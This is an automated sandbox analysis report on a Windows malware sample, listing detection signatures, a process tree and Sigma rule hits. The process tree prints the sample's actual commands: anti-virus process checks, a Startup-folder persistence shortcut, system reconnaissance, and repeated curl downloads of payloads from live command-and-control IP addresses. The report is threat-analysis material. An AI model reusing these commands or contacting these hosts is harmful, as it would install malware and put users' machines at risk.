Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561834
MD5:	c938c02a19091a3acd044001631692c8
SHA1:	681e661b16ae2bebce2ef18facb86de6fd727cae
SHA256:	e090769b89bee3e8ab4a316355fab8da61f629b0eee9da37c0ac312bdc20aad8
Tags:	exeuser-Bitsight
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Sigma detected: Copy itself to suspicious location via type command

Sigma detected: Drops script at startup location

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Drops PE files with a suspicious file extension

Machine Learning detection for dropped file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: WScript or CScript Dropper

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes many files with high entropy

Writes or reads registry keys via WMI

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Recon Command Output Piped To Findstr.EXE

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Too many similar processes found

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

file.exe (PID: 3160 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C938C02A19091A3ACD044001631692C8)

cmd.exe (PID: 4440 cmdline: "C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1472 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 5548 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 6476 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 1372 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 2636 cmdline: cmd /c md 768032 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 3576 cmdline: cmd /c copy /b ..\Howard + ..\Los + ..\Become + ..\Mental + ..\Vermont + ..\Bt + ..\Vatican G MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Finish.com (PID: 5544 cmdline: Finish.com G MD5: 62D09F076E6E0240548C2F837536A46A)

cmd.exe (PID: 6004 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & echo URL="C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5356 cmdline: "C:\Windows\System32\cmd.exe" /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName > C:\Users\user\AppData\Local\temp\407 2>&1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6176 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 3304 cmdline: "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\407 > C:\Users\user\AppData\Local\temp\403 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5524 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6784 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 1088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2680 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\sihmk" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 7056 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\sihmk" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 6496 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 4952 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 5276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5492 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\vuevs" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3712 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\vuevs" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 5712 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fsqyf" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5632 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\fsqyf" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 6620 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dmgfe" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6948 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\dmgfe" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 5476 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\woejq" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3580 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\woejq" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 4428 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\xvway" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5620 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\xvway" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 6252 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tlbry" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 7128 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\tlbry" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 6784 cmdline: "C:\Windows\System32\cmd.exe" /C cd "C:\Users\user\AppData\Roaming\DolphinDumps" & azvw.exe -o xhwq.zip MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

azvw.exe (PID: 2380 cmdline: azvw.exe -o xhwq.zip MD5: 75375C22C72F1BEB76BEA39C22A1ED68)

cmd.exe (PID: 2296 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\sirxu" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3996 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\sirxu" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 4752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1288 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gtnez" "178.215.224.74/v10/ukyh.php?jspo=31" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 4524 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\gtnez" "178.215.224.74/v10/ukyh.php?jspo=31" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 6588 cmdline: "C:\Windows\System32\cmd.exe" /C systeminfo | findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 3344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 5808 cmdline: systeminfo MD5: 36CCB1FFAFD651F64A22B5DA0A1EA5C5)

WmiPrvSE.exe (PID: 5700 cmdline: C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding MD5: 64ACA4F48771A5BA50CD50F2410632AD)

Conhost.exe (PID: 6608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

findstr.exe (PID: 2884 cmdline: findstr /C:"OS Name" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5500 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gfdap" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3224 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\gfdap" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 2136 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gjmcf" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 1496 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\gjmcf" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 3040 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\lkufr" "178.215.224.74/v10/ukyh.php?jspo=7" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 4276 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\lkufr" "178.215.224.74/v10/ukyh.php?jspo=7" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 768 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\slpug" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6604 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\slpug" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 6472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7056 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\ixhzf" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6976 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\ixhzf" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 4760 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\qhiwq" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6160 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\qhiwq" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 4440 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\ypalg" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 2516 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\cbmaa" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5560 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\cbmaa" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 6720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RevenueDevices.exe (PID: 4012 cmdline: "C:\Users\user\AppData\Local\temp\RevenueDevices.exe" MD5: B487B5B51436B42576D60A1FE58F8399)

cmd.exe (PID: 1336 cmdline: "C:\Windows\System32\cmd.exe" /c copy Seek Seek.cmd & Seek.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4292 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\hzpaz" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3772 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\hzpaz" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 1380 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fxhyo" "178.215.224.74/v10/ukyh.php?gi" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3876 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\fxhyo" "178.215.224.74/v10/ukyh.php?gi" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3380 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jocox" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6064 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\jocox" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 3136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 5540 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

conhost.exe (PID: 7120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 1848 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\ypalg" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 5620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 5592 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

InnoSphere.scr (PID: 2676 cmdline: "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr" "C:\Users\user\AppData\Local\InnoSphere Dynamics\l" MD5: 62D09F076E6E0240548C2F837536A46A)

cleanup

Sigma Signatures

Spreading

Sigma detected: Copy itself to suspicious location via type command

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\407 > C:\Users\user\AppData\Local\temp\403, CommandLine: "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\407 > C:\Users\user\AppData\Local\temp\403, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: Finish.com G, ParentImage: C:\Users\user\AppData\Local\Temp\768032\Finish.com, ParentProcessId: 5544, ParentProcessName: Finish.com, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\407 > C:\Users\user\AppData\Local\temp\403, ProcessId: 3304, ProcessName: cmd.exe

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" , ProcessId: 5592, ProcessName: wscript.exe

Sigma detected: Recon Command Output Piped To Findstr.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), frack113: Data: Command: "C:\Windows\System32\cmd.exe" /C systeminfo | findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1, CommandLine: "C:\Windows\System32\cmd.exe" /C systeminfo | findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: Finish.com G, ParentImage: C:\Users\user\AppData\Local\Temp\768032\Finish.com, ParentProcessId: 5544, ParentProcessName: Finish.com, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C systeminfo | findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1, ProcessId: 6588, ProcessName: cmd.exe

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\768032\Finish.com, ProcessId: 5544, TargetFilename: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3160, ParentProcessName: file.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd, ProcessId: 4440, ProcessName: cmd.exe

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\768032\Finish.com, ProcessId: 5544, TargetFilename: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6", CommandLine: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: Finish.com G, ParentImage: C:\Users\user\AppData\Local\Temp\768032\Finish.com, ParentProcessId: 5544, ParentProcessName: Finish.com, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6", ProcessId: 5524, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

